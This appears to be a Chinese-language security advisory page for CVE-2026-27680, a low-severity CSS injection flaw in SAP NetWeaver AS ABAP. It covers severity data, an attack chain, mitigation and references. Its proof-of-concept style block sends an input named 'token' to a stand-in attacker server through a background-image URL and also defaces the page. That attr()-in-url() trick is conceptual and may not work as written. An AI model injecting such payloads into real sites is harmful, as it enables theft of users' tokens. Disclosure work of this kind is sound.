CVE-2026-27680 CVSS 3.1 低危

CVE-2026-27680 SAP NetWeaver AS ABAP CSS注入漏洞

披露日期: 2026-05-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-27680

漏洞类型

CSS注入

CVSS评分

3.1 低危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

SAP NetWeaver Application Server ABAP

漏洞概述

SAP NetWeaver Application Server ABAP 在特定条件下因输入处理不当，允许攻击者向其提供的网页中注入自定义 CSS 数据。当用户访问或点击受影响的页面时，注入的恶意 CSS 将被执行。该漏洞主要影响机密性，被定为低危等级，对完整性和可用性无影响。

技术细节

该漏洞的根源在于 SAP NetWeaver Application Server ABAP 对用户输入的过滤机制不完善，未能正确处理包含 CSS 代码的恶意数据。攻击者可以通过构造特定的 HTTP 请求或在输入字段中嵌入恶意的层叠样式表（CSS）代码，利用应用程序对输入的信任将数据反射或存储在响应页面中。由于 CSS 具有读取 DOM 属性的能力（例如通过 `attr()` 函数），攻击者可能利用此机制绕过部分前端限制，读取敏感信息或进行界面篡改。虽然 CVSS 评分较低，但在特定场景下，结合其他技术可能造成更严重的信息泄露。利用条件需要用户交互，即受害者必须点击或访问攻击者精心设计的链接。

攻击链分析

STEP 1

1. 侦察与识别

攻击者识别出SAP NetWeaver AS ABAP中存在输入验证缺失的参数或端点。

STEP 2

2. 载荷构造

攻击者构造包含恶意CSS代码的数据，例如利用attr()函数窃取敏感属性的样式规则。

STEP 3

3. 传递载荷

攻击者通过社会工程学手段诱导受害者点击特制的URL，从而向应用服务器发送包含恶意CSS的请求。

STEP 4

4. 执行与利用

服务器返回包含注入CSS的页面，受害者的浏览器解析并执行CSS，可能导致数据泄露或界面篡改。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC Concept for CSS Injection -->
<!-- Attack Vector: Injecting CSS to steal attribute values -->
<style>
  /* This attempts to exfiltrate the content of an input with name 'token' */
  input[name='token'] {
    background-image: url('https://attacker-controlled-server.com/log?q=' attr(value));
  }
  /* Visual defacement example */
  body {
    background-color: black;
    color: red;
  }
</style>
<!-- The attacker would inject the above style block into a vulnerable parameter -->

影响范围

SAP NetWeaver Application Server ABAP (具体版本请参考SAP Security Patch Day及Note 3665042)

防御指南

临时缓解措施

建议立即检查系统日志以确认是否遭受攻击，并尽快规划维护窗口应用SAP官方补丁。在补丁部署前，可限制对该特定Web应用的访问权限或加强WAF规则以拦截包含CSS语法的恶意流量。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-27680
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-27680
3 Details https://www.cvedetails.com/cve/CVE-2026-27680/
4 VulDB https://vuldb.com/cve/CVE-2026-27680
5 Link https://me.sap.com/notes/3665042
6 Link https://url.sap/sapsecuritypatchday

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表